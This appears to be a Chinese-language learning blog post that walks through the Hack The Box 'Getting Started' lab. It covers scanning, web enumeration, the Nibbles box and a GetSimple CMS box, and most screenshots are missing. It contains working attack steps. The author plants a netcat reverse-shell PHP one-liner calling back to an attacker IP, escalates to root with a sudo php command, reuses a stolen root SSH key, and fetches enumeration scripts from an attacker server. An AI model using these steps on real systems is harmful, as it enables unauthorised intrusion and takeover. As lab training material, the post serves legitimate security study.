Getting Started

560 阅读6分钟

介绍

信息安全概述

设置

Pentest发行版入门

保持井井有条

使用VPN连接

# openvpn academy.ovpn
# ifconfig
# netstat -rn //显示可通过VPN访问的网络

image.png

image.png

渗透基础

常用术语

基本工具

    # ssh Bob@192.168.141.12
    
    # netstat 192.168.141.12 22
    
    

image.png

image.png

练习

image.png

    # netcat 178.62.13.127 32524

服务扫描

    # nmap 10.129.42.253 //扫描出的端口所对应的服务并不准确,因为这是基于nmap中固定的map得出的,表示某端口通常由某服务监听
    # nmap -sV -sC -p- 10.129.42.253 // -p-表示全部65535个tcp端口 //扫描出的端口对应的服务是准确的,因为是基于脚本以及指纹实时判断的
    
    

image.png

image.png

练习

image.png

image.png

image.png

image.png

网络枚举

    # gobuster dir -u 10.10.10.121 -w /usr/share/dirb/wordlists/common.txt
    # curl -IL https://www.inlanefreight.com
    # whatweb 10.10.10.121
    网站通常包含一个robots.txt文件
    ctrl + u 查看网站源代码
    
    

image.png

image.png

image.png

image.png

image.png

image.png

练习

image.png

image.png

image.png

image.png

按照这个账号密码登陆即可

image.png

公共漏洞

    # searchsploit openssh 7.2
    

image.png

练习

image.png

image.png

其实可以按上述结果中的Apache[2.4.41]和WordPress[5.6.1]来深入追查漏洞:

image.png 但用MSF对上述漏洞进行利用都无果,于是想别的方法:

image.png

image.png

image.png

image.png

发现插件后门,这个模块中的几个参数值得注意,但有些此时不太清楚是什么意思,比如filepath以及targeturi

image.png

根据info推断: 可利用该漏洞读取服务器上文件、目录资源

由此可知:filepath指的是服务器上目录,targeturi应该不太重要

image.png

Types of Shells

    # nc -lvnp 1234 //netcat监听本机1234端口
    # ip a
    # nc 10.10.10.1 1234 //netcat监听10.10.10.1的1234端口
    
    

image.png

image.png

image.png

权限提升

    # dpkg -l //查看系统上安装了哪些软件
    # sudo -l //We can check what `sudo` privileges we have with the `sudo -l` command
    
    # vim id_rsa 
    # chmod 600 id_rsa
    # ssh user@10.10.10.10 -i id_rsa
    Finally, let us discuss SSH keys. If we have read access over the `.ssh` directory for a specific user, we may read their private ssh keys found in `/home/user/.ssh/id_rsa` or `/root/.ssh/id_rsa`, and use it to log in to the server. If we can read the `/root/.ssh/` directory and can read the `id_rsa` file, we can copy it to our machine and use the `-i` flag to log in with it
    
    请注意,在我们在机器上创建密钥后,我们在密钥上使用了命令“chmod 600 id_rsa”以将文件的权限更改为更具限制性。如果 ssh 密钥具有宽松的权限,即可能被其他人读取,则 ssh 服务器会阻止它们工作。
    
    

image.png

练习

image.png

image.png

image.png

image.png

image.png

忘记了改id_rsa权限: image.png

这样以root用户权限ssh了:

image.png

传输文件

    # cd /tmp
    # python3 -m http.server 8000
    # wget http://10.10.14.1:8000/linenum.sh
    # curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
    # scp linenum.sh user@remotehost:/tmp/linenum.sh
    # base64 shell -w 0
    # echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
    # file test.txt //查看文件格式
    
    

image.png

image.png

image.png

image.png

攻击你的第一个盒子

Nibbles——枚举

    # nmap -v -oG - // -v : 扫描信息更详细(verbose)  -oG - : 文件格式?
    # nmap -sV --open -oA nibbles_initial_scan 10.129.42.190 // -sV: 版本探测 -oA: 将扫描结果存入文件
    # nmap -p- --open -oA nibbles_full_tcp_scan 10.129.42.190 //完整的TCP端口扫描 -p-: 全部65535个端口 --open:只显示开放的端口 
    # nc -nv 10.129.42.190 22 //用nc来验证nmap在相应端口探测到的服务
    # nmap -sC -p 22,80 -oA nibbles_script_scan 10.129.42.190 // -sC: 运行nmap默认的脚本来探测(侵入性) 
    # nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.42.190 //让我们nmap使用http-enum 脚本完善我们的枚举,该脚本可用于枚举常见的 Web 应用程序目录
    
    

image.png

image.png

image.png

image.png

image.png

练习

image.png

image.png

Nibbles——网络足迹

    # whatweb 10.129.42.190
    # curl http://10.129.42.190
    # gobuster dir -u http://10.129.42.190/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt
    # curl -s http://10.129.42.190/nibbleblog/content/private/users.xml | xmllint  --format - // --format -: 用来优化输出的xml文件的格式
    
    

image.png

image.png

image.png

image.png

Nibbles——最初的立足点

练习

image.png

image.png

image.png

image.png

image.png

到网上查询"nibbleblog exploit"可以得到:nibble exploit yields this Nibbleblog File Upload Vunnerability,说明有文件上传漏洞可以利用:是否可以通过上传reverse shell代码来获取reverse shell呢?

image.png

image.png

image.png

image.png

image.png

username:admin image.png

password:nibbles image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

升级到完全交互式TTY:

image.png

Nibbles——特权升级

练习

image.png

image.png

image.png

image.png

image.png image.png

image.png

解决问题

常见的陷阱

获得帮助

下一步是什么?

下一步

知识检查

image.png

1. 枚举

image.png

image.png

收集到的信息:

1. GetSimple CMS
2. Apache[2.4.41]

image.png

image.png

登录到管理后台需要帐号密码: 可先手动尝试普通账号密码对,比如admin-admin;如果不行,则在枚举的目录中寻找相关信息

image.png

找到一个账号密码相关的页面。密码看起来加密过。

image.png

解密得密码是admin

登入到管理后台

image.png

image.png

其实看到这里的upload,想法是这个网站是可以上传文件的,那便可以上传一个含有获取reverse shell代码的.php文件。(可惜的是,好像HTB提供的这个网站的upload功能坏掉了)

image.png

说实话,这个漏洞很明显了:通过这里的upload,传入一个含有获取reverse shell代码的.php文件。可惜的是,这个按钮点不动,好像HTB提供的这个网站的upload功能坏掉了

通过upload注入reverse shell代码的这条路是走不通了,只能另辟其径

image.png

    GetSimple CMS版本信息:3.3.15
    

在该管理页面上可枚举的信息好像已经到头了

image.png

好像也没有什么敏感子目录

2. 检索

检索GetSimple CMS 3.3.15的漏洞:

image.png

image.png

CVE-2019-11231


image.png

ehh,看起来不能在这里直接注入php代码呀。不太会利用。

image.png

image.png

image.png

发生了什么??? 明明check成功了,怎么没有拿到reverse shell? 是因为我没有用nc监听吗?还是没有配置vpn的ip?

首先排除没有用nc监听,因为提示Started reverse TCP handler on 192.168.29.68:4444,说明payload options生效了,已经在本机的4444端口监听了

好的,将lhost配置成vpn的ip以后,监听成功,成功拿到reverse shell

image.png

3. 注入

其实MSF已经帮我注入了。

手动注入如下:

还是要靠枚举找到一个位置:

image.png

我去,这里竟然有个可编辑的php文件

这不直接注入一句获取reverse shell代码并用nc监听?

    # <?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ![]()10.10.14.2 9443 >/tmp/f"); ?>
    
    

image.png

竟然有权限编辑成功了!

image.png

nc开始监听:

image.png

访问一下这个.php文件以执行获取reverse shell的代码:

image.png

尼玛,有权限edit没权限查看

检查一下.php文件: image.png

把这句权限验证中的"!"去掉再访问试试:

有权限访问.php文件了,但是nc没有监听到reverse shell,是不是获取reverse shell的代码没有执行到?

那我把获取reverse shell的代码放到权限验证之前执行

image.png

image.png

拿下!

4. 提权

已经获得初步立足点,使用Python3 pty技巧升级到伪 TTY :

       $ python3 -c 'import pty; pty.spawn("/bin/bash")'
       
       

image.png

image.png

ehhh,/usr/bin/php 指令有什么用呀? 怎么利用它来提权?

试试LinEnum.sh吧

把LinEnum.sh上传到靶机上以后运行,发现也是什么有用的信息都没检查出来

然后就在HTB的forum上找到:

VOGW8ASPJIENN$EE436A1BC.png

image.png

成功?!

    # sudo /usr/bin/php -r 'system("/bin/bash");' 
    // 有时候php版本低了,上面的php代码可能会报错,加转义符即可: # sudo /usr/bin/php -r 'system("\/bin\/bash");' 
    这条指令有什么魔力啊?
    以后再研究???
    要记住这条php指令可以让我们利用php指令从受限制的shell中解放出来
    

直捣黄龙:

image.png

image.png

继续玩玩:

image.png

root用户密码加密过,加密过的密码存放于/etc/shadow

image.png

oh no ! 这个位置的 "✳" 表示该密码失效,也就是该用户将无法使用 密码登录。

不玩了

5. 网站自身bug

关于前面提到的: HTB提供的这个网站的upload功能坏掉了

用MSF其实也可以验证这点:

image.png

image.png

image.png